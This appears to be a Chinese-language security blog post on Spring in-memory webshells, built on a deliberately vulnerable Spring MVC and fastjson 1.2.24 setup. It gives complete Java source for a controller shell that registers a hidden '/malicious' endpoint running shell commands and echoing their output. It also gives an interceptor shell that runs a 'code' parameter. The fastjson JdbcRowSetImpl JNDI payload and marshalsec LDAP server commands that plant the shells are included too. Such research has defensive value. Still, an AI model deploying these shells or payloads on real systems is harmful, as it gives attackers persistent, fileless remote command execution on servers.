此篇文章在於記錄自己對spring內存馬的實驗研究
一、環境搭建
搭建漏洞環境,利用fastjson反序列化,通過JNDI下載惡意的class文件,觸發惡意類的構造函數中代碼,注入controller內存馬。
1)組件版本:
fastjson: 1.2.24
spring-mvc: 4.3.28.RELEASE
JDK: 8u121
2)搭建springMVC+fastjson漏洞環境
可以參考網上的入門文章進行搭建,這里我放出我自己環境的配置文件
web.xml
<servlet>
<servlet-name>SpringMVC</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<!--配置springmvc.xml的路徑-->
<init-param>
<param-name>contextConfigLocation</param-name>
<param-value>classpath:springmvc.xml</param-value>
</init-param>
</servlet>
<servlet-mapping>
<servlet-name>SpringMVC</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
</web-app>
springmvc.xml
<!--將AnnotationHandler自動掃描到IOC容器中-->
<context:component-scan base-package="test.controller"></context:component-scan>
<mvc:annotation-driven/>
<!--配置視圖解析器-->
<bean class="org.springframework.web.servlet.view.InternalResourceViewResolver">
<!--配置前綴-->
<property name="prefix" value="/"></property>
<!--配置后綴-->
<property name="suffix" value=".jsp"></property>
</bean>
</beans>
HelloController
@Controller
public class HelloController {
@ResponseBody
@RequestMapping(value = "/hello", method = RequestMethod.POST)
public Object hello(@RequestParam("code")String code) throws Exception {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
System.out.println(code);
Object object = JSON.parse(code);
return code + "->JSON.parseObject()->" + object;
}
}
pom.xml
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.11</version>
<scope>test</scope>
</dependency>
<!--SpringMVC依賴-->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-webmvc</artifactId>
<version>4.3.28.RELEASE</version>
</dependency>
二、動態注冊controller
在springMVC中,也可以在服務器程序啟動后,利用某種方式實現動態加載controller。
1)獲取上下文
在LandGrey文章中介紹了四種方法,分別是
方式一:getCurrentWebApplicationContext
WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();
方法二:WebApplicationContextUtils
WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());
方法三:RequestContextUtils
WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
方法四:getAttribute
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
而對於獲取上下文來說,推薦使用第三、四種方法。前兩種可能會獲取不到RequestMappingHandlerMapping實例
2)注冊controller
使用registerMapping方法來動態注冊我們的惡意controller
// 1. 從當前上下文環境中獲得 RequestMappingHandlerMapping 的實例 bean
RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
// 2. 通過反射獲得自定義 controller 中唯一的 Method 對象
Method method = (Class.forName("me.landgrey.SSOLogin").getDeclaredMethods())[0];
// 3. 定義訪問 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/hahaha");
// 4. 定義允許訪問 controller 的 HTTP 方法(GET/POST)
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 5. 在內存中動態注冊 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
r.registerMapping(info, Class.forName("me.landgrey.SSOLogin").newInstance(), method);
除了使用registerMapping方法注冊controller外,還有其余的方式可以參考https://landgrey.me/blog/12/
三、內存馬
以下是大佬的內存馬,接下來進行一個改動,使之能進行回顯
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.handler.AbstractHandlerMethodMapping;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
public class InjectToController {
// 第一個構造函數
public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 1. 從當前上下文環境中獲得 RequestMappingHandlerMapping 的實例 bean
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 2. 通過反射獲得自定義 controller 中test的 Method 對象
Method method2 = InjectToController.class.getMethod("test");
// 3. 定義訪問 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/malicious");
// 4. 定義允許訪問 controller 的 HTTP 方法(GET/POST)
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 5. 在內存中動態注冊 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
// 創建用於處理請求的對象,加入“aaa”參數是為了觸發第二個構造函數避免無限循環
InjectToController injectToController = new InjectToController("aaa");
mappingHandlerMapping.registerMapping(info, injectToController, method2);
}
// 第二個構造函數
public InjectToController(String aaa) {}
// controller指定的處理方法
public void test() throws IOException{
// 獲取request和response對象
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
// 獲取cmd參數並執行命令
java.lang.Runtime.getRuntime().exec(request.getParameter("cmd"));
}
}
修改回顯
把test代碼中的內容替換為以下
// 獲取request和response對象
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
//exec
try {
String arg0 = request.getParameter("cmd");
PrintWriter writer = response.getWriter();
if (arg0 != null) {
String o = "";
java.lang.ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){
p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
}else{
p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
o = c.hasNext() ? c.next(): o;
c.close();
writer.write(o);
writer.flush();
writer.close();
}else{
//當請求沒有攜帶指定的參數(code)時,返回 404 錯誤
response.sendError(404);
}
}catch (Exception e){}
最終內存馬
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class InjectToController {
// 第一個構造函數
public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 1. 從當前上下文環境中獲得 RequestMappingHandlerMapping 的實例 bean
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 2. 通過反射獲得自定義 controller 中test的 Method 對象
Method method2 = InjectToController.class.getMethod("test");
// 3. 定義訪問 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/malicious");
// 4. 定義允許訪問 controller 的 HTTP 方法(GET/POST)
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 5. 在內存中動態注冊 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
// 創建用於處理請求的對象,加入“aaa”參數是為了觸發第二個構造函數避免無限循環
InjectToController injectToController = new InjectToController("aaa");
mappingHandlerMapping.registerMapping(info, injectToController, method2);
}
// 第二個構造函數
public InjectToController(String aaa) {}
// controller指定的處理方法
public void test() throws IOException{
// 獲取request和response對象
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
//exec
try {
String arg0 = request.getParameter("cmd");
PrintWriter writer = response.getWriter();
if (arg0 != null) {
String o = "";
java.lang.ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){
p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
}else{
p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
o = c.hasNext() ? c.next(): o;
c.close();
writer.write(o);
writer.flush();
writer.close();
}else{
//當請求沒有攜帶指定的參數(code)時,返回 404 錯誤
response.sendError(404);
}
}catch (Exception e){}
}
}
四、測試
fastjson<=1.2.24的 payload:
{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"%s","autoCommit":true}}
1)啟動本地http服務,綁定端口8888
python3 -m http.server 8888
2)利用marshalsec啟動LDAP服務,綁定端口9999
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8888/#InjectToController 9999
3)訪問存在fastjson反序列化的頁面,http://localhost:8080/hello
發送payload:
{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:9999/InjectToControlle","autoCommit":true}}
成功寫入內存馬
踩坑
在實驗過程中,我發現主要有兩個比較難解決的點,導致實驗難以繼續
1.怎么編譯惡意class文件
可以看到,一個惡意類是有大量的依賴,如果直接采用javac編譯會報錯
-》javac InjectToController.java
InjectToController.java:16: 錯誤: 編碼GBK的不可映射字符
// 絎竴涓瀯閫犲嚱鏁?
^
InjectToController.java:19: 錯誤: 編碼GBK的不可映射字符
// 1. 浠庡綋鍓嶄笂涓嬫枃鐜涓幏寰? RequestMappingHandlerMapping 鐨勫疄渚? bean
^
InjectToController.java:19: 錯誤: 編碼GBK的不可映射字符
// 1. 浠庡綋鍓嶄笂涓嬫枃鐜涓幏寰? RequestMappingHandlerMapping 鐨勫疄渚? bean
^
這時候可以利用idea自帶的編譯特性,先運行項目,然后在其項目的target目錄中尋找編譯后的class文件即可
2.可以彈出計算器,卻無法注入內存馬
直接進行debug后發現,在這一行代碼會因為找不到RequestMappingHandlerMapping 的實例 bean而拋出異常
原因在於springmvc.xml文件中,沒有開啟<mvc:annotation-driven/>
選項。
<mvc:annotation-driven/>
是為 MVC 提供額外的支持,參考 Spring 的官方文檔,<mvc:annotation-driven/>
最主要的作用是注冊 HandlerMapping
(實現為 DefaultAnnotationHandlerMapping) 和 HandlerAdapter
(實現為 AnnotationMethodHandlerAdapter) 兩個類型的 Bean,這兩個 Bean 為 @Controllers
(所有控制器) 提供轉發請求的功能。
而在Spring 3.1 開始及以后一般開始使用了新的RequestMappingHandlerMapping映射器。
五、后記
Interceptor內存馬
其實不光是可以注入controller型的內存馬,還可以注入Interceptor內存馬
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class TestInterceptor extends HandlerInterceptorAdapter {
public TestInterceptor() throws NoSuchFieldException, IllegalAccessException, InstantiationException {
// 獲取context
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 從context中獲取AbstractHandlerMapping的實例對象
org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping");
// 反射獲取adaptedInterceptors屬性
java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);
// 避免重復添加
for (int i = adaptedInterceptors.size() - 1; i > 0; i--) {
if (adaptedInterceptors.get(i) instanceof TestInterceptor) {
System.out.println("已經添加過TestInterceptor實例了");
return;
}
}
TestInterceptor aaa = new TestInterceptor("aaa"); // 避免進入實例創建的死循環
adaptedInterceptors.add(aaa); // 添加全局interceptor
}
private TestInterceptor(String aaa){}
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String code = request.getParameter("code");
// 不干擾正常業務邏輯
if (code != null) {
java.lang.Runtime.getRuntime().exec(code);
return true;
}
else {
return true;
}}}
注冊效果: